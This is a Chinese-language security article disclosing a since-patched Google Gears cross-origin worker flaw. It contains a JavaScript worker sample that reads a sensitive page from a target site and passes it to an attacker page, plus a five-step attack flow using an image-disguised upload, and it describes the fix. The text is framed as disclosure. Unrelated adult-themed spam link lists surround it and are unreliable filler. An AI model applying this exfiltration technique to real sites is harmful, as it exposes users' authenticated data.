国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

入侵Google Gears的跨域通信模型
2008-12-17   

Google Gears是一個(gè)開源產(chǎn)品,它能夠開發(fā)用于離線使用的網(wǎng)頁(yè)應(yīng)用程序。目前,它已經(jīng)得到許多站點(diǎn)的支持。Google Gears的特色之一是支持跨域通信,而本文則向讀者介紹針對(duì)Google Gears的跨域通信模型的一個(gè)漏洞的攻擊方法。

一、關(guān)于Google Gears

Google Gears是一個(gè)著名的RIA基礎(chǔ)設(shè)施,被Google廣泛用于各種服務(wù),如Google Docs和Google Reader,同時(shí)還可以用于非Google提供的服務(wù),如MySpace、Zoho Writer以及WordPress。Gears實(shí)際上是一個(gè)瀏覽器擴(kuò)展,使得開發(fā)人員可以用來(lái)提供更豐富的網(wǎng)絡(luò)應(yīng)用程序,并提高網(wǎng)絡(luò)應(yīng)用程序的響應(yīng)速度。Gears的關(guān)鍵特性之一是能夠透明地創(chuàng)建既可以在線使用又可以離線使用的網(wǎng)絡(luò)應(yīng)用程序。
此外,Gears還具有以下特性:

以上說(shuō)明引自Google Gears的官方文檔。實(shí)際上,Gears最妙的地方之一在于對(duì)它的使用方式,即可以通過(guò)在網(wǎng)絡(luò)應(yīng)用程序的HTML代碼中插入JavaScript來(lái)調(diào)用Gears的應(yīng)用程序接口。因此,Gears的獨(dú)特之處在于它可以很輕松平滑地集成到現(xiàn)有的網(wǎng)絡(luò)應(yīng)用程序之中。對(duì)于Google Gears詳盡的解釋以及用法范例,可以參考Google Gears網(wǎng)站的“如何入門?”。

就像其它的RIA基礎(chǔ)設(shè)施一樣,Google Gears也為開發(fā)人員提高了跨域通信能力。這些能力對(duì)于開發(fā)人員來(lái)說(shuō)是非常重要的,因?yàn)槟軌蚴沟盟麄冊(cè)趯?shí)現(xiàn)mashup及其他所希望的特性時(shí)變得更加輕松。然而,跨域通信對(duì)于安全性來(lái)說(shuō)則有一些不利影響。一個(gè)粗劣實(shí)現(xiàn)可能導(dǎo)致攻擊者得以突破同源策略,并導(dǎo)致大規(guī)模的攻擊事件。所以,這種漏洞會(huì)導(dǎo)致災(zāi)難性的后果。
不久之前,人們發(fā)現(xiàn)Google Gears的跨域通信安全模型還不夠堅(jiān)固,因?yàn)樵谀承┣闆r下可以輕而易舉地繞過(guò)此安全模型。好在Google已經(jīng)對(duì)此進(jìn)行了改進(jìn),所以將此漏洞暴露出來(lái)也不算為過(guò)了。

二、Gears的跨域通信的實(shí)現(xiàn)

讓我們假定,我們是web開發(fā)人員,并且在http://Some.Site/建立了一個(gè)網(wǎng)頁(yè),該頁(yè)面會(huì)收集用戶在http://Another.Site/上的經(jīng)認(rèn)證的會(huì)話中收集有關(guān)信息。這些事情,完全可以通過(guò)Google Gears的WorkerPool應(yīng)用程序接口來(lái)完成。你只要利用createWorkerFromUrl(scriptUrl)方法加載一個(gè)Google Gears“工作人員”就行了。所謂Google Gears“工作人員”實(shí)際上就是一段JavaScript代碼,用于訪問(wèn)Google Gears提供的功能部件,如本地服務(wù)器、Http通信以及數(shù)據(jù)庫(kù)等。

Google Gears的“工作人員”可以從遠(yuǎn)程域載入,但是必須首先調(diào)用allowCrossOrigin()方法。這個(gè)可以看作是一項(xiàng)安全措施,用來(lái)防范在未授權(quán)的情況下遠(yuǎn)程加載“工作人員”。如果一個(gè)工作人員是從不同的域創(chuàng)建的,那么google.gears.factory的所有方法都不得用于該工作人員,直到allowCrossOrigin()被調(diào)用為止。這可以防止跨站點(diǎn)腳本攻擊,該攻擊可以讓攻擊者從另一個(gè)域裝入工作人員的URL,然后向那個(gè)工作人員發(fā)送惡意消息,如“delete-all-data”等。調(diào)用allowCrossOrigin()方法的工作人員應(yīng)該對(duì)messageObject.origin進(jìn)行檢查,并忽略所有來(lái)自非預(yù)期域的消息。

下面的描述引自Google Gears的官方文檔:

如果一個(gè)工作人員是從不同的域創(chuàng)建的,那么google.gears.factory的所有方法都不得用于該工作人員,直到allowCrossOrigin()被調(diào)用為止。

這可以防止跨站點(diǎn)腳本攻擊,該攻擊可以讓攻擊者從另一個(gè)域裝入工作人員的URL,然后向那個(gè)工作人員發(fā)送惡意消息,如“delete-all-data”等。

調(diào)用allowCrossOrigin()方法的工作人員應(yīng)該對(duì)messageObject.origin進(jìn)行檢查,并忽略所有來(lái)自非預(yù)期域的消息。

三、問(wèn)題所在

乍一看,這個(gè)保護(hù)措施似乎是無(wú)懈可擊的。然而,人們?cè)谠囉迷摶A(chǔ)設(shè)施的時(shí)候發(fā)現(xiàn),Google Gears工作人員的加載器具有一個(gè)相當(dāng)混亂的策略:它竟然對(duì)所加載的Gears工作人員文件的報(bào)頭視而不見!這實(shí)際上是為惡意攻擊開了一扇后窗,使得攻擊者能夠借此在目標(biāo)網(wǎng)站上植入惡意的Gears工作人員代碼。例如,可以上載具有圖像后綴的文件,而實(shí)際上文件中包含的卻是Gears工作人員代碼。稍后,Google Gears工作人員加載器會(huì)從其他Domain的執(zhí)行上下文中加載這些文件,而web服務(wù)器卻將其作為圖像文件對(duì)待!

因此,攻擊者可以籍此規(guī)避甚至破壞包含用戶的內(nèi)容的站點(diǎn)(論壇、web郵件、社交網(wǎng)絡(luò),等等)的安全限制。事實(shí)上,就連那些非常著名的服務(wù)也很容易受到上面所說(shuō)的方法的攻擊。此外,由于Gears工作人員代碼中沒(méi)有包含具體的“危險(xiǎn)”字符,所以使得各站點(diǎn)難以防御如下所示的基于Google Gears的跨域訪問(wèn)攻擊。

Google Gears工作人員代碼舉例如下:

var wp = google.gears.workerPool;
wp.allowCrossOrigin();
wp.onmessage = function(a, b, message) {
var request = google.gears.factory.create('beta.httprequest');
request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');

request.onreadystatechange = function() {
if (request.readyState == 4) {
wp.sendMessage("The response was: " +
request.responseText, message.sender);
}
};
request.send();
}

上述腳本用于從http://TARGET.SITE抓取信息,并利用Google Gears的內(nèi)建的通信應(yīng)用程序接口將捕獲的信息傳遞給該腳本的遠(yuǎn)程調(diào)用者。

四、攻擊流程

⒈ 攻擊者創(chuàng)建一個(gè)包含惡意的Google Gears命令的文本文件,這些命令可以用來(lái)訪問(wèn)數(shù)據(jù)庫(kù)、使用HttpRequest模塊等等。

⒉ 攻擊者設(shè)法將文本內(nèi)容植入目標(biāo)域,例如 http://TARGET.SITE/Upload/innocent.jpg。 Gears的“工作人員”代碼并沒(méi)有包含可疑的字符,如〈、〉等等。因此,它被http://TARGET.SITE服務(wù)器端過(guò)濾掉的可能性不大。

⒊ 攻擊者創(chuàng)建一個(gè)http://ATTACKER.SITE/attack.html頁(yè)面,其中存放有一些Google Gears代碼,這些代碼將用于加載并執(zhí)行http://TARGET.SITE/Upload/innocent.jpg

⒋ 在本例中,嵌入到innocent.jpg中的代碼會(huì)在http://TARGET.SITE 的上下文中加以執(zhí)行。因此,它有權(quán)訪問(wèn)Google Gears的客戶端對(duì)象,諸如數(shù)據(jù)庫(kù)、本地服務(wù)器數(shù)據(jù)以及各種web資源。為此,它可以使用Google Gears內(nèi)置的HttpRequest模塊來(lái)達(dá)此目的。

⒌ 在前面收集的所有信息可以很輕松地利用Google Gears的標(biāo)準(zhǔn)通信機(jī)制反饋給http://ATTACKER.SITE

需要注意的是,雖然http://ATTACKER.SITE必須使用Google Gears,但是http://TARGET.SITE卻可以是任意寄放有用戶創(chuàng)建的內(nèi)容的站點(diǎn),而根本不必使用Google Gears。

五、修補(bǔ)措施

目前,Google Gears新發(fā)布的版本已經(jīng)修補(bǔ)了上述漏洞。具體的修補(bǔ)方法是,為Googl Gears設(shè)置一個(gè)專門的內(nèi)容類型報(bào)頭值(application/x-gears-worker),當(dāng)web服務(wù)器提供Googl Gears工作人員代碼文件時(shí)必須發(fā)送該值。 如果沒(méi)有該值,就會(huì)拒絕加載該工作人員文件。

雖然這個(gè)解決方案看上去很不錯(cuò),但是卻面臨輕微的向后兼容性問(wèn)題。使用Google Gears的Web開發(fā)人員應(yīng)當(dāng)意識(shí)到,這個(gè)修補(bǔ)方案要求他們做一些相應(yīng)的修改,例如為提供Google Gears工作人員的Web服務(wù)器中創(chuàng)建一個(gè)專門的規(guī)則,等等。要了解關(guān)于上面描述的新的安全限制的更多信息,請(qǐng)參考Googl Gears的跨域工作人員的相關(guān)文檔。

六、小結(jié)

Google Gears是一個(gè)開源產(chǎn)品,它能夠開發(fā)用于離線使用的網(wǎng)頁(yè)應(yīng)用程序。目前,它已經(jīng)得到許多站點(diǎn)的支持。Google Gears的特色之一是支持跨域通信,而本文則向讀者介紹針對(duì)Google Gears的跨域通信模型的一個(gè)漏洞的攻擊方法,Google Gears安全小組提供的解決方案。在修補(bǔ)該漏洞的過(guò)程中,Google Gears安全小組對(duì)于該問(wèn)題的迅速響應(yīng)以及提供的有效處理方法給人們留下了深刻的印象。


熱詞搜索:

上一篇:攻防實(shí)戰(zhàn):深入剖析最新IE7.0 0day漏洞利用代碼(1)
下一篇:利用Flash參數(shù)注入的新型攻擊技術(shù)(1)

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
av在线播放不卡| 欧美日韩一二区| 欧美卡1卡2卡| 日韩成人精品在线| 欧美一区二区黄| 国产精品资源在线| 亚洲免费观看高清完整版在线| 99久久精品国产导航| 亚洲一区二区黄色| 日韩欧美综合一区| 成人深夜视频在线观看| 一区二区三区不卡视频| 91精品国产综合久久久久久| 国产美女精品在线| 一区二区三区免费| 久久免费视频色| 欧洲精品一区二区三区在线观看| 理论电影国产精品| 亚洲欧美另类久久久精品2019| 欧美一区二区视频网站| 99精品国产91久久久久久| 日本一道高清亚洲日美韩| 亚洲天天做日日做天天谢日日欢 | 精品久久久久久久人人人人传媒| 首页国产欧美日韩丝袜| 久久婷婷国产综合精品青草| 欧美网站大全在线观看| 风流少妇一区二区| 蜜桃视频在线观看一区二区| 一区二区三区在线免费视频| 国产女人aaa级久久久级| 91麻豆精品91久久久久久清纯| 99在线热播精品免费| 久久精品噜噜噜成人av农村| 一区二区三区精密机械公司| 中文成人综合网| 26uuu久久综合| 欧美一区二区三区男人的天堂| 色婷婷综合久久久| 成人毛片视频在线观看| 国产一区在线看| 久久99久久精品| 久久成人免费网| 久久97超碰国产精品超碰| 日韩电影一区二区三区四区| 亚洲伊人伊色伊影伊综合网| 亚洲欧洲美洲综合色网| 国产精品免费久久久久| 国产日产精品一区| 久久久久成人黄色影片| 国产欧美1区2区3区| www国产亚洲精品久久麻豆| 日韩欧美国产综合| 日韩美女在线视频 | 欧美成人伊人久久综合网| 欧美视频日韩视频| 欧美在线观看一区| 欧美婷婷六月丁香综合色| 色久综合一二码| 91电影在线观看| 欧美日韩一区久久| 欧美精品久久99久久在免费线 | 91国产免费观看| 欧美三级日韩在线| 中文子幕无线码一区tr| 国产精品免费视频一区| 亚洲色欲色欲www| 亚洲综合激情另类小说区| 夜夜爽夜夜爽精品视频| 婷婷综合在线观看| 国模少妇一区二区三区| 国产成人精品免费一区二区| 99国产精品久久久久久久久久 | 欧美日韩日本视频| 日韩一卡二卡三卡国产欧美| 精品国产污污免费网站入口| 国产日韩影视精品| 自拍av一区二区三区| 亚洲午夜在线电影| 国产毛片一区二区| 在线亚洲一区二区| 日韩欧美激情在线| 亚洲欧美日韩系列| 麻豆国产精品777777在线| 成人av集中营| 91精品黄色片免费大全| 国产精品久久久久一区二区三区共| 亚洲欧美一区二区三区极速播放| 日本欧洲一区二区| 成人听书哪个软件好| 91精品国产综合久久精品图片| 中国色在线观看另类| 免费成人在线播放| 色综合天天综合网天天看片| 欧美va日韩va| 亚洲国产视频一区| 丁香激情综合五月| 在线91免费看| 亚洲特级片在线| 国产黑丝在线一区二区三区| 欧美乱妇23p| 亚洲视频免费在线观看| 国产精品99久久久久久久女警 | 中文字幕精品一区| 日本不卡一二三| 91成人在线观看喷潮| 欧美激情综合网| 国产综合一区二区| 欧美日韩一区高清| 亚洲精品欧美在线| 菠萝蜜视频在线观看一区| 日韩三级在线免费观看| 午夜久久电影网| 91久久一区二区| 国产精品卡一卡二| 国产成人激情av| 2021中文字幕一区亚洲| 蜜臀久久久99精品久久久久久| 欧美亚洲日本一区| 亚洲综合在线五月| 91一区在线观看| 自拍视频在线观看一区二区| 日韩一级精品视频在线观看| 亚洲视频 欧洲视频| 国产91在线看| 国产欧美一区二区三区在线看蜜臀 | 国产成人免费在线观看不卡| 欧美成人一区二区三区片免费| 免费一级片91| 777午夜精品免费视频| 日本色综合中文字幕| 日韩精品一区国产麻豆| 麻豆精品视频在线| 日韩欧美中文一区| 久久99精品网久久| 久久久国产精品麻豆| 国产精品1区二区.| 国产精品九色蝌蚪自拍| 91影视在线播放| 亚洲国产精品综合小说图片区| 欧美视频在线观看一区| 天天综合天天综合色| 欧美一区二区在线不卡| 国产精品一区二区视频| 国产精品国产a| 欧美日韩高清一区二区| 美女免费视频一区| 中文字幕不卡一区| 99国产精品国产精品毛片| 亚洲影视在线观看| 日韩免费电影一区| 99久久久久免费精品国产| 亚洲大片一区二区三区| 国产亚洲一二三区| 色婷婷亚洲婷婷| 老司机精品视频线观看86| 亚洲国产成人自拍| 欧美另类变人与禽xxxxx| 国产乱码精品一区二区三区av| 亚洲特黄一级片| 日韩欧美123| 国产精品自拍一区| 一区二区三区鲁丝不卡| 日韩女优视频免费观看| 99re这里只有精品首页| 蜜桃精品在线观看| 亚洲丝袜美腿综合| 91精品国产福利| 99久久伊人精品| 九九视频精品免费| 懂色av一区二区夜夜嗨| 日韩影院在线观看| 综合av第一页| 26uuu色噜噜精品一区| 欧美午夜一区二区三区| 国产一区二区精品在线观看| 亚洲午夜私人影院| 久久精品人人做人人爽人人| 欧美中文字幕一区二区三区| 国产高清视频一区| 日本不卡的三区四区五区| 亚洲日本va午夜在线影院| www国产成人| 欧美一区二区三区四区五区 | 国产成+人+日韩+欧美+亚洲| 亚洲成av人片在线观看| 1区2区3区国产精品| 久久免费午夜影院| 欧美电影免费观看高清完整版在线 | 午夜电影一区二区三区| 国产精品三级电影| 日韩欧美国产三级电影视频| 在线观看一区二区精品视频| 高清国产一区二区三区| 精品一二三四区| 黑人精品欧美一区二区蜜桃| 七七婷婷婷婷精品国产| 午夜不卡av在线| 亚洲不卡av一区二区三区| 亚洲自拍都市欧美小说|